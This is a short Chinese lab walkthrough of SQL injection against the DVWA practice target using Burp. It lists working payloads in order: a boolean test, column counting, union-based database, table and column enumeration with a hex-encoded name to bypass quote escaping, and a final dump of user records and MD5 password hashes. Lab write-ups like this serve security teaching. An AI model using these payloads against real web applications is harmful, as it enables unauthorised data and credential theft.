本文仅作学习交流之用,严禁利用其中内容进行违法犯罪的行为
采用dvwa靶场
使用burp进行抓包,从而实现对目标的SQL注入。
从客户端向服务器发出请求,并由burp截取
在burp中检查数据包并构造SQL语句,测试能否进行SQL注入。
1 or 1=1#
发送到服务器,得到结果。
说明目标可以被SQL注入,为数字型注入。
爆破库名
利用order by语句测试当前表列数目
1 order by 1#
1 order by 2#
1 order by 3#
可以推测出表有2列
获取库名
1 union select 1,database()#
得到库名 dvwa
爆破表名
information_schema表存储了数据库中所有的表名和列名,可以利用搜索
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到两个表名
guestbook,users
爆破列名
获取users 表字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
由于引号’’会被转义,因此将users转为16进制来绕过转义
得到users表中的列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login
爆破数据
1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users#
获取到经md5加密后的密码和对应用户信息